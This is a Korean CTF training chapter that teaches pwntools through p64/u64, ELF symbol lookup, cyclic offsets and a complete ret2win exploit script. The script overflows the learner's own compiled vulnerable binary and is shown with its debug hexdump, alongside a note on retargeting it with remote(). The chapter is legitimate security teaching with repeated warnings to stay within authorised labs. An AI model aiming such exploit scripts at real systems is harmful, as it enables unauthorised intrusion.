Step 188. pwntools 입문: 연결, p64, 페이로드 자동화 — 손공격에서 스크립트로
Level 3 — Pwn 트랙 | 난이도 ★★★☆☆ | 예상 소요 시간 4시간
전제: Step 186~187을 마쳤다. RET 덮어쓰기 공격을 손으로 성공시켜 봤고, 패딩과 리틀 엔디안을 안다. 파이썬 기초 문법과 venv를 안다.
⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 준비물: WSL 우분투 터미널, python3, Step 186의 vuln 바이너리. 실측 환경은 Ubuntu 24.04, Python 3.12.3, pwntools 4.15.0입니다.
- 주의: pwntools는 CTF와 pwn 연구의 표준 도구이자 동시에 실제 공격 자동화 도구입니다. 오늘 만드는 스크립트의 대상은 어디까지나 Step 186에서 여러분이 직접 컴파일한 그 바이너리 하나입니다.
Step 186에서 우리는 파이썬 한 줄짜리 페이로드 생성기를 파이프로 연결해 공격했습니다. 잘 됐지만, 주소를 손으로 뒤집고(\x96\x11\x40…), 출력과 입력을 파이프로 억지로 이었습니다. pwntools는 이 과정 전부를 위한 파이썬 라이브러리입니다. 주소 뒤집기는 p64()가, 프로세스 실행과 대화는 process()와 sendline()이, 심볼 주소 찾기는 ELF()가 해 줍니다. 오늘 우리는 Step 186의 손공격을 스크립트로 다시 씁니다. CTF의 pwn 문제는 사실상 이 스크립트 작성 게임의 연장입니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- venv에 pwntools를 설치하고 설치를 검증한다
p64()/u64()로 주소와 바이트 열을 오가며 리틀 엔디안을 자동 처리한다process()로 대상을 실행하고recvuntil()/sendline()으로 대화한다ELF()로 심볼 주소를 읽어 하드코딩을 없앤다cyclic()/cyclic_find()의 용도를 알고,context.log_level로 주고받는 바이트를 감시한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3.12 (venv), WSL 우분투 bash, pwntools 4.15.0 |
| 오늘의 명령어·API | python3 -m venv venv, pip install pwntools, from pwn import *, process()/remote(), recvuntil()/sendline(), p64()/u64(), ELF()와 e.symbols[], cyclic()/cyclic_find(), context.log_level = 'debug', pwn checksec |
| 필요한 개념 | 리틀 엔디안 패킹, 바이트와 문자열의 구분(b”), 튜브(tube), 심볼 |
2-1. pwntools — pwn 작업대의 표준 공구함
pwntools는 CTF의 pwn 분야에서 사실상 표준인 파이썬 라이브러리입니다. 네 가지 일을 합니다. ① 로컬 프로세스든 원격 서버든 같은 인터페이스(process/remote)로 연결하고, ② 주소를 리틀 엔디안 바이트로 싸 주고(p64), ③ 바이너리의 심볼·보호 기법을 읽어 주고(ELF, checksec), ④ 패딩 길이 측정용 무늬 문자열을 만들어 줍니다(cyclic).
Step 186에서 우리가 손으로 했던 것들 — nm으로 주소 찾기, 바이트 뒤집기, 파이프 연결 — 이 전부가 이 공구함의 함수 하나하나와 일대일로 대응됩니다.
2-2. p64 — 리틀 엔디안 뒤집기의 자동화
p64(0x401196)은 주소 하나를 8바이트 리틀 엔디안 바이트 열로 싸 줍니다. Step 186에서 손으로 \x96\x11\x40\x00\x00\x00\x00\x00를 만들던 그 일입니다. 반대 방향은 u64() — 받은 8바이트를 숫자로 읽습니다.
이 함수 하나가 익스플로잇의 오타성 실패 절반을 없앱니다. "p는 pack(싸다), u는 unpack(풀다)"로 기억하세요.
2-3. 튜브 — 프로세스와의 대화 통로
pwntools에서 연결된 대상(프로세스, 원격 소켓)을 튜브(tube)라 부릅니다. 튜브의 기본 동사는 넷입니다.
| 메서드 | 하는 일 |
|---|---|
p.recvuntil(b'문구') |
그 문구가 나올 때까지 출력을 기다려 받는다 |
p.sendline(데이터) |
데이터에 줄바꿈을 붙여 보낸다 |
p.recvline() |
한 줄 받는다 |
p.interactive() |
이후 조작을 사람에게 넘긴다 (쉘을 얻었을 때) |
recvuntil이 특히 중요합니다. 서버가 "입력: "을 출력할 때까지 기다렸다가 그때 페이로드를 보내는 것 — 타이밍 맞춤의 자동화입니다.
2-4. 바이트와 문자열 — b”의 규칙
pwntools가 주고받는 것은 전부 바이트(bytes) 입니다. 파이썬 3에서 바이트 리터럴은 b'...'처럼 b를 붙이고, 이때 ASCII 글자만 직접 쓸 수 있습니다. 한글이 섞인 프롬프트를 기다리려면 '입력: '.encode()처럼 문자열을 바이트로 변환해야 합니다. 오늘 실습에서 이 규칙을 어겼을 때의 실제 에러를 만날 것입니다 (벽 2).
3. 따라 하기
3-1. 설치 — venv에 pwntools
시스템 파이썬을 더럽히지 않기 위해 가상 환경(venv)에 설치합니다.
mkdir -p ~/lab188 && cd ~/lab188
python3 -m venv venv
./venv/bin/pip install pwntools
Installing collected packages: ... pwntools
Successfully installed ... pwntools-4.15.0 ...
(2026-09-09 실측. 의존 패키지 삼십여 개가 함께 깔립니다. 몇 분 걸릴 수 있습니다.)
읽는 법: ./venv/bin/pip처럼 venv 안의 pip을 경로로 직접 부르면 source venv/bin/activate 없이도 venv에 설치됩니다. 실행도 마찬가지로 ./venv/bin/python3를 씁니다. 설치 검증은 3-2의 한 줄 실행으로 대신합니다.
3-2. p64/u64 — 리틀 엔디안의 자동화 확인
./venv/bin/python3
>>> from pwn import *
>>> p64(0xdeadbeef)
b'\xef\xbe\xad\xde\x00\x00\x00\x00'
>>> p64(0x401196)
b'\x96\x11@\x00\x00\x00\x00\x00'
>>> u64(b'AAAAAAAA')
4702111234474983745
>>> hex(4702111234474983745)
'0x4141414141414141'
(2026-09-09 실측.)
출력 읽는 법: p64(0x401196)의 결과가 \x96\x11@\x00... — Step 186에서 손으로 쓴 바이트 열과 정확히 같습니다 (0x40은 출력 가능 문자 ‘@’로 표시됐을 뿐, 같은 바이트입니다). u64(b'AAAAAAAA')는 0x4141414141414141 — Step 186의 세그폴트 현장에서 본 바로 그 수입니다. 손으로 뒤집던 일이 함수 하나로 끝났습니다.
3-3. ELF — 심볼 주소의 자동 독출
pwntools는 바이너리를 열어 심볼과 보호 기법을 읽습니다.
>>> e = ELF('/root/lab186/vuln')
>>> hex(e.symbols['win'])
'0x401196'
[*] '/root/lab186/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
PIE: No PIE (0x400000)
Stack: Executable
...
(2026-09-09 실측.)
출력 읽는 법: ELF()는 객체를 만드는 것만으로 바이너리의 보호 기법 보고서를 출력합니다 — Step 187에서 readelf와 nm으로 손수 확인했던 것들입니다. "No canary found / No PIE / Executable" — 우리가 일부러 벗긴 방어막 세 겹이 정확히 보고됩니다. 그리고 e.symbols['win']가 nm 없이 win의 주소 0x401196을 돌려줍니다. 페이로드에 주소를 하드코딩할 필요가 사라졌습니다.
참고: 명령행에서는
./venv/bin/pwn checksec 바이너리로 이 보고서만 따로 볼 수 있습니다. Step 187의 미션 답안을 이 한 줄로 검산해 보세요.
3-4. ★ 익스플로잇 스크립트 — Step 186의 재작성
입력 (exploit.py)
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
e = ELF('/root/lab186/vuln')
win_addr = e.symbols['win']
p = process('/root/lab186/vuln')
p.recvuntil('입력: '.encode())
payload = b'A' * 24 + p64(win_addr)
p.sendline(payload)
p.recvuntil(b'FLAG')
print(p.recvline())
실행
./venv/bin/python3 exploit.py
[x] Starting local process '/root/lab186/vuln'
[+] Starting local process '/root/lab186/vuln': pid 643
[DEBUG] Received 0x23 bytes:
00000000 62 75 66 20 ec a3 bc ec 86 8c 3a 20 30 78 37 66 │buf │····│··: │0x7f│
...
[DEBUG] Sent 0x21 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 96 11 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000020 0a │·│
[DEBUG] Received 0x42 bytes:
...
00000020 41 41 41 41 96 11 40 0a 46 4c 41 47 7b 79 6f 75 │AAAA│··@·│FLAG│{you│
00000030 5f 63 6f 6e 74 72 6f 6c 5f 74 68 65 5f 72 69 70 │_con│trol│_the│_rip│
00000040 7d 0a │}·│
b'{you_control_the_rip}\n'
[*] Stopped process '/root/lab186/vuln' (pid 643)
(2026-09-09 실측.)
출력 읽는 법: 세 가지를 짚습니다.
context.log_level = 'debug'의 위력 — 주고받은 바이트가 16진수 헥스덤프로 전부 보입니다. Sent 덤프를 보면 우리 페이로드: A 스물네 개(0x41) 뒤에96 11 40 00 00 00 00 00— p64가 싼 win 주소 — 그리고 sendline이 붙인 줄바꿈0a. 총 0x21(33)바이트.- Received 덤프의 후반 —
46 4c 41 47 7b ...= "FLAG{you_control_the_rip}". 프로그램이 우리에게 돌려준 것입니다. - 마지막 print —
p.recvuntil(b'FLAG')가 "FLAG"까지 소비하고, 나머지{you_control_the_rip}을 recvline으로 읽어 출력했습니다.
손공격(3-5 of Step 186)과 같은 결과를, 주소 하드코딩도 파이프도 없이 스크립트 하나로 재현했습니다. 이것이 CTF의 pwn 풀이의 기본 형태입니다.
3-5. cyclic — 패딩 길이 측정의 자동화
Step 185~186에서 패딩 24를 gdb로 쟀습니다. pwntools에는 이 측정을 위한 무늬 생성기가 있습니다.
>>> cyclic(32)
b'aaaabaaacaaadaaaeaaafaaagaaahaaa'
>>> cyclic_find(0x61616162)
4
(2026-09-09 실측.)
출력 읽는 법: cyclic(32)는 네 글자마다 다른 무늬(aaaa, baaa, caaa…)의 문자열을 만듭니다. 이걸 입력으로 넣고 프로그램이 죽었을 때 덮인 RET 값(예: 0x61616162)을 gdb에서 읽으면, cyclic_find가 "그 값은 시작에서 4바이트 지점"이라고 거리를 역산해 줍니다. gdb로 오프셋을 읽는 대신 무늬로 재는 셈입니다.
오늘은 용도를 아는 선에서 멈춥니다. 우리는 이미 gdb 측정법을 알고, 이 무늬 기법은 입력을 문자열로 읽는 대상에 한해 편리한 지름길입니다.
3-6. remote — 로컬과 원격의 같은 얼굴
오늘 스크립트에서 process(...) 한 줄만 이렇게 바꾸면:
p = remote('ctf.example.com', 1337)
나머지 코드 — recvuntil, sendline, p64 — 는 그대로 원격 서버와 통신합니다. 로컬에서 공격을 완성한 뒤 연결 부분만 바꿔 실전 서버에 대는 것, 이것이 CTF pwn의 표준 작업 순서입니다. 오늘은 실행하지 않습니다 — 허가된 서버가 있을 때만입니다.
4. 미션과 연습문제
미션 — 완전 자동화 익스플로잇 스크립트
Step 186 미션에서 만든 여러분의 vuln 바이너리(buf 크기 변경 + secret 함수 버전)를 대상으로:
- pwntools 스크립트를 작성한다 — 단, 페이로드의 패딩 길이와 함수 이름은 스크립트 맨 위의 변수로 둔다 (매직 넘버 하드코딩 금지)
ELF()와e.symbols[]로 목표 주소를 자동으로 읽게 한다recvuntil/sendline으로 대화를 맞추고 플래그를 잡아 출력한다context.log_level = 'debug'로 실행해, Sent 덤프에서 주소 바이트(리틀 엔디안)를 찾아 밑줄 친 캡처나 주석을 남긴다- 스크립트 맨 위 주석에 "대상 바이너리의 보호 기법"을
pwn checksec결과로 적는다 - (도전) cyclic으로 패딩 길이를 자동 측정하는 별도 스크립트를 작성해, 1번의 변수와 일치하는지 검증한다
연습문제
문제 1. p64(0x401196)의 출력이 b’\x96\x11@\x00\x00\x00\x00\x00’였습니다. 가운데 글자가 \x40이 아니라 ‘@’로 보이는 이유는 무엇이며, 같은 바이트인가요?
문제 2. recvuntil(b'입력: ')처럼 바이트 리터럴에 한글을 넣으면 안 되는 이유는 무엇이고, 어떻게 고쳐야 하나요?
문제 3. e.symbols['win']을 쓰면 얻는 실질적 이점 두 가지를 말해 보세요. (힌트: 소스 수정, 이식성)
문제 4. cyclic(32)의 무늬로 패딩 길이를 재는 원리를, "프로그램이 죽을 때 읽는 값"과 함께 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
완성 스크립트의 예 (2026-09-09 실측 검증된 구조):
#!/usr/bin/env python3
# 대상: /root/lab186/vuln — checksec: No canary / NX off(Stack: Executable) / No PIE
from pwn import *
BINARY = '/root/lab186/vuln'
FUNC = 'win' # 목표 함수 이름
PADDING = 24 # gdb로 측정한 buf~RET 거리
context.log_level = 'debug'
e = ELF(BINARY)
p = process(BINARY)
p.recvuntil('입력: '.encode())
p.sendline(b'A' * PADDING + p64(e.symbols[FUNC]))
p.recvuntil(b'FLAG')
print(p.recvline())
검증하는 법: ① 스크립트를 바이너리 경로만 바꿔 다른 환경에서도 돌릴 수 있어야 합니다(하드코딩된 주소 0x401196이 코드에 남아 있으면 감점). ② debug 덤프의 Sent 부분에서 96 11 40 00 00 00 00 00 형태의 뒤집힌 주소가 확인돼야 합니다. ③ checksec 주석이 실제 pwn checksec 출력과 일치해야 합니다.
연습문제 해답
문제 1 해답. 파이썬의 bytes 출력은 출력 가능한 ASCII 바이트를 해당 글자로 보여 줍니다. 0x40은 ‘@’의 코드이므로 그렇게 표시될 뿐, 메모리에 들어가는 바이트는 0x40 그대로입니다. \x40과 @는 같은 바이트의 두 표기입니다.
문제 2 해답. 파이썬 3의 바이트 리터럴(b’…’)은 ASCII 문자만 직접 담을 수 있고, 한글을 넣으면 SyntaxError: bytes can only contain ASCII literal characters가 납니다 (2026-09-09 실측). 한글 프롬프트는 '입력: '.encode()처럼 문자열을 UTF-8 바이트로 변환해 씁니다.
문제 3 해답. ① 소스를 수정해 함수 주소가 밀려도 스크립트를 고칠 필요가 없습니다 — 재컴파일 내성. ② 다른 환경(다른 컴파일러, 다른 주소)의 같은 문제에도 스크립트가 그대로 동작합니다 — 이식성. 하드코딩은 "이 바이너리 한 번용"이고 심볼 읽기는 "재사용 가능한 도구"입니다.
문제 4 해답. cyclic의 무늬는 위치마다 다른 네 글자 조합이라, 덮인 RET 값을 읽으면 그 조합의 시작점으로부터의 거리가 곧 패딩 길이입니다. 예: A 대신 cyclic(64)를 넣고 프로그램을 죽인 뒤 gdb의 bt에서 덮인 값(예: 0x61616162)을 읽어 cyclic_find(0x61616162)에 넣으면 4 — "24바이트째부터가 아니라 4바이트째부터 덮였다"는 식의 역산이 됩니다. 오프셋 계산을 문자열 무늬로 자동화한 것입니다.
완료 기준 체크리스트
- [ ] venv에 pwntools를 설치하고 버전을 확인했다
- [ ] p64/u64로 주소와 바이트를 오가며 리틀 엔디안을 확인했다
- [ ] ELF()의 자동 보고서(보호 기법)를 읽고 Step 187 지식과 대조했다
- [ ] process/recvuntil/sendline으로 대상과 대화하는 스크립트를 썼다
- [ ] e.symbols[]로 주소 하드코딩을 제거했다
- [ ] context.log_level=’debug’로 Sent/Received 바이트를 감시했다
- [ ] cyclic과 cyclic_find의 용도를 설명할 수 있다
- [ ] 미션: 완전 자동화 익스플로잇 스크립트를 완성했다
6. 흔한 실수와 해결
*벽 1. from pwn import 에서 ModuleNotFoundError
증상: ModuleNotFoundError: No module named 'pwn'
원인: venv 바깥의 파이썬으로 실행했거나, 설치가 다른 환경에 됐습니다.
해결: 3-1에서 만든 venv의 파이썬으로 실행하세요 — ./venv/bin/python3 exploit.py. which python3가 venv를 안 가리키면 활성화(source venv/bin/activate)가 안 된 것입니다.
벽 2. bytes can only contain ASCII literal characters
증상: 한글이 섞인 바이트 리터럴에서 이런 에러가 납니다 (2026-09-09 실측):
p.recvuntil(b'입력: ')
^^^^^^^
SyntaxError: bytes can only contain ASCII literal characters
원인: b’…’ 리터럴에는 ASCII 글자만 직접 쓸 수 있습니다. 한글은 UTF-8로 여러 바이트라 금지됩니다.
해결: '입력: '.encode()로 문자열을 바이트로 변환해 쓰세요. 반대 방향은 .decode()입니다. pwntools 작업에서 가장 자주 만나는 파이썬 에러입니다.
벽 3. recvuntil에서 영원히 멈춘다
증상: 스크립트가 recvuntil에서 아무 반응 없이 멈춥니다.
원인: 기다리는 문구가 대상의 실제 출력과 한 글자라도 다릅니다 — 공백, 줄바꿈, 인코딩 차이.
해결: context.log_level = 'debug'를 켜고 Received 덤프에서 실제로 온 바이트를 확인하세요. 기다리는 문구는 내 상상이 아니라 덤프에서 복사하는 것이 원칙입니다. timeout도 지정할 수 있습니다: p.recvuntil(b'...', timeout=3).
벽 4. 공격은 되는데 플래그 읽기에서 막힌다
증상: win은 실행됐는데 스크립트가 플래그를 못 읽고 끝납니다.
원인: 읽는 시점 문제입니다. FLAG 전체가 도착하기 전에 읽거나, recvuntil(b’FLAG’) 이후 나머지를 안 읽었을 수 있습니다.
해결: 3-4처럼 "FLAG까지 기다린 뒤 recvline으로 꼬리를 읽는" 2단으로 나누세요. 타이밍이 애매하면 p.recvall(timeout=2)로 남은 출력을 통째로 받는 방법도 있습니다.
벽 5. 로컬에선 되는데 remote에서 안 된다
증상: process로는 성공, remote로 바꾸니 실패합니다.
원인: 원격 서버는 다른 바이너리(다른 주소, 다른 패딩), 다른 보호 기법일 수 있습니다. 그리고 remote는 ASLR이 켜진 실전 환경입니다.
해결: 그래서 실전에서는 서버가 주는 바이너리 파일을 받아 분석합니다. 오늘의 스크립트가 "로컬 검증용"임을 잊지 마세요. remote는 허가된 CTF/워게임 서버에서만 사용합니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| pwntools | pwn 공격 스크립트의 표준 파이썬 라이브러리 |
| 튜브(tube) | 프로세스·소켓을 같은 인터페이스로 다루는 연결 객체 |
| p64 / u64 | 주소 ↔ 리틀 엔디안 8바이트 변환기 (pack/unpack) |
| ELF().symbols | 바이너리에서 심볼 주소를 자동 독출 — 하드코딩 탈피 |
| cyclic / cyclic_find | 위치 무늬 문자열로 패딩 길이를 역산하는 도구 |
| context.log_level | ‘debug’로 켜면 주고받는 바이트가 전부 보이는 감시창 |
오늘의 명령어·API
| 코드·명령 | 하는 일 |
|---|---|
python3 -m venv venv |
격리된 설치 환경 만들기 |
./venv/bin/pip install pwntools |
venv에 pwntools 설치 |
p = process('./vuln') |
로컬 프로세스 실행·연결 |
p = remote('host', port) |
원격 연결 (허가된 대상만) |
p.recvuntil(...) / p.sendline(...) |
문구 대기 / 줄바꿈 포함 전송 |
p.interactive() |
조작을 사람에게 넘기기 |
pwn checksec 바이너리 |
보호 기법 한 줄 정찰 |
명령어보다 중요한 감각
오늘의 핵심은 라이브러리가 아니라 작업의 형태입니다. 손으로 하던 공격이 스크립트가 되는 순간, 공격은 "재현 가능하고, 남에게 설명 가능하고, 개선 가능한" 엔지니어링 산출물이 됩니다. CTF에서 실력자의 스크립트가 길어 보이지 않는 이유 — process·recvuntil·p64·ELF 네 개면 골격이 끝나기 때문입니다.
그리고 기억하세요. 이 스크립트의 remote 한 줄이 로컬 장난감과 실제 침입을 가르는 선이기도 합니다. 도구는 중립이지만, 대상은 중립이 아닙니다. 허가된 문제와 내 랩 — 그 안에서 이 도구는 최고의 선생입니다.
전부 체크되면 Step 188 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.